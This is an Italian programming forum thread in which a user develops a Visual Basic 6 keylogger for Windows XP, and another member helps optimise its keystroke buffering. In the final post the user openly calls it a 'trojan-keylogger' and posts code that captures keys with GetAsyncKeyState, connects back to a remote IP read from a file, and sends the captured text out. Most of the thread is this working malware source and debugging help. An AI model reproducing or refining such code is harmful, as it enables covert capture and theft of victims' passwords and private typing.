Oppure

Loading
15/04/08 21:22
feddur
Salve, sto realizzando con VB6 un keylogger a scopo informativo in WINDOWS XP.
vorrei un keylogger molto veloce e poco pesante.
io per il momento sto utilizzando questo:
Private Sub Timer2_Timer()
Dim result, i As Integer
   For i = 1 To 255
   result = 0
   result = GetAsyncKeyState(i)
       If result = -32767 Then
       txtOut.Text = txtOut.Text & Chr(i)
       End If
   Next i
End Sub


il timer è a 10 millisecondi.
la parte che vorrei eliminare è questa:
       txtOut.Text = txtOut.Text & Chr(i)


perchè secondo me è troppo pesante.
la mia possibile soluzione prevede di mettere
i caratteri un un vettore di char e quando il vettore (di circa 100 elementi) si riempe viene copiato nella txtOut.text
non ci sono riuscito; chi mi darebbe una mano?
aaa
15/04/08 21:35
feddur
Private Sub Timer2_Timer()
Dim vettore(1 To 10) As Integer
Dim result, i, j, h As Integer
    For i = 1 To 255
    For j = 1 To 10
    vettore(j) = 0
    vettore(j) = GetAsyncKeyState(i)
        If vettore(j) = -32767 Then
        vettore(j) = i
            If j = 9 Then
            txtOut.Text = txtOut.Text & Chr(i)
            End If
        End If
    Next j
    Next i
End Sub


anche questo non mi va... 8-|
aaa
15/04/08 21:41
feddur
Private Sub Timer2_Timer()
Dim result, i As Integer
Dim str As String
   For i = 1 To 255
   result = 0
   result = GetAsyncKeyState(i)
       If result = -32767 Then
       str = Chr(i)
       txtOut.Text = Len(str)
        If Len(str) = 10 Then
        txtOut.Text = str
        End If
       End If
   Next i
End Sub


anche questo non va, spero che con questi esempi abbiate capito meglio le mie idee.
aaa
15/04/08 22:51
Shutdown
Feddur ti avevo gentilmente pregato di collaborare.
Ti ho spiegato che se nel thread, l'ultimo messaggio è il tuo e vuoi aggiungere qualcosa, devi modificare l'ultimo messaggio... Non devi creare un nuovo post.

L'avviso te l'avevo già lanciato.
Questo è il secondo avvertimento.

Se succede ancora blocco la discussione e informo gli amministratori della situazione, i quali sapranno che provvedimenti prendere.

Ti ringrazio per aver prestato attenzione. :k:
Ultima modifica effettuata da Shutdown 15/04/08 22:53
aaa
15/04/08 22:53
feddur
scusate ma non avevo capito, sarò più attento.
aaa
16/04/08 10:22
Shutdown
Prego, non scusarti... :k:
Grazie 1000. :k:
aaa
16/04/08 11:52
P4p3r0g4
ok preso per buono
Private Sub Timer2_Timer()
Dim result, i As Integer
   For i = 1 To 255
   result = 0
   result = GetAsyncKeyState(i)
       If result = -32767 Then
       txtOut.Text = txtOut.Text & Chr(i)
       End If
   Next i
End Sub 

lo modifico cosi`
option explicit
dim k as integer
dim vett(0 to 99) as integer
Private Sub Timer2_Timer()
Dim result, i As Integer
   For i = 1 To 255
   result = 0
   result = GetAsyncKeyState(i)
       If result = -32767 Then
       vett(k) = i
       k = k + 1
       End If
   Next i

if k = 99 then
for i = 0 to 99
txtOut.text= txtOut.text & chr(vett(i))
next i
k = 0
end if
End Sub 


il codice dovrebbe suonare cosi` probabilmente ci sono degli errorini perche` l'ho scritto al volo e non l'ho provato (non ho il vb installato) ma dovresti riuscire a correggerli.
Ultima modifica effettuata da P4p3r0g4 16/04/08 11:53
aaa
16/04/08 22:42
feddur
salve, continuo ad avere problemi, forse è il caso che vi spieghi meglio il mio problema e il mio programma.
quello che ho creato è un trojan-keylogger (ricordo che l'ho creato per solo scopo informativo.. come un passatempo!)però ho notato qualche problema che vorrei risolvere...
Vi posto qualche pezzo di codice per renedere meglio l'idea:
Private Sub Form_Load()
Timer2.Interval = 1     'pausa keylogger sia se connesso che se disconnesso
Timer3.Interval = 9000  'se non connesso, dopo quanto fa le prove di connessione
Private Sub Timer2_Timer()
    If wskClient.State <> sckConnected Then     'se non connesso mette i caratteri premuti nella txt e attende
        For j = 47 To 125
        result = 0
        result = GetAsyncKeyState(j)
            If result = -32767 Then
            txtOut.Text = txtOut.Text & Chr(j)
            End If
        Next j
            Else                                    'se è connesso invia dopo tempo del timer
                For k = 47 To 125
                result1 = 0
                result1 = GetAsyncKeyState(k)
                    If result1 = -32767 Then
                    txtOut.Text = txtOut.Text & Chr(k)
                    End If
                Next k
    End If

Private Sub Timer3_Timer()
 If wskClient.State <> sckConnected Then 'se non connesso ritenta la connessione

    Dim BUFFER As String                        'apre il file per leggere l'IP
    Dim NRFILE As Integer
    txtHostName = ""
    NRFILE = FreeFile
        Open App.Path & "\" & FileDaAprire1 For Binary As NRFILE
    While Not EOF(NRFILE)
        BUFFER = Space(2048)
        Get NRFILE, , BUFFER
        txtHostName = BUFFER
    Wend
    Close NRFILE

 i = i + 1
    txtOut.SelStart = Len(txtOut.Text)
    wskClient.Close
    wskClient.LocalPort = 0
    wskClient.Connect txtHostName.Text, 2000
    lblconnessioni.Caption = i
    Else
    wskClient.SendData txtOut.Text          'invia il txt
    txtOut.Text = ""                        'una volta mandato il txt lo azzera
 End If
End Sub
End Sub


Ora vi spiego il problema:
il keylogger, soprattutto quando il client è connesso non riesce a memorizzare tutti i tasti.
se vi sembra strano che abbia detto "client" è perchè ho creato una specie di reverse connection..
sapete il perchè di tale problema?
come risolverlo?
avete bisogno di altre informazioni?
grazie.
Ultima modifica effettuata da feddur 16/04/08 22:45
aaa